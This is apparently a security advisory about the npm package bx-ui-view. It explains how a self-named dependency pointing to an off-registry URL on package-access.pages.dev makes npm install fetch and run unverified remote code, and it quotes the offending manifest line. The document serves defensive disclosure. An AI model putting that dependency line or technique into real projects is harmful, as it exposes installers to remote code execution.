GCVE-110-OSM-2026-11897

package.json declares a dependency whose key equals the package's own name (bx-ui-view) and whose value is a plain HTTPS URL (https://package-access.pages.dev/bx-ui-view) rather than a registry version range. On `npm install`, npm resolves this URL, downloads whatever tarball is served, and executes any lifecycle scripts inside it — with no version pin, no integrity check, and no hash/signature verification. The shipped index.js is a 3-line inert stub, so the manifest line is the entire published surface: the installer receives whatever content the operator of package-access.pages.dev chooses to serve at install time. The self-name + off-registry URL + stub source combination is the dependency-confusion / smuggled-payload shape, and the pages.dev host is unrelated to any registry or declared publisher domain. ENTRY index.js (bin: index.js) - URL-Based Dependency in package.json: ""dependencies": { "bx-ui-view": "https://package-access.pages.dev/bx-ui-view"" DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Brand New Package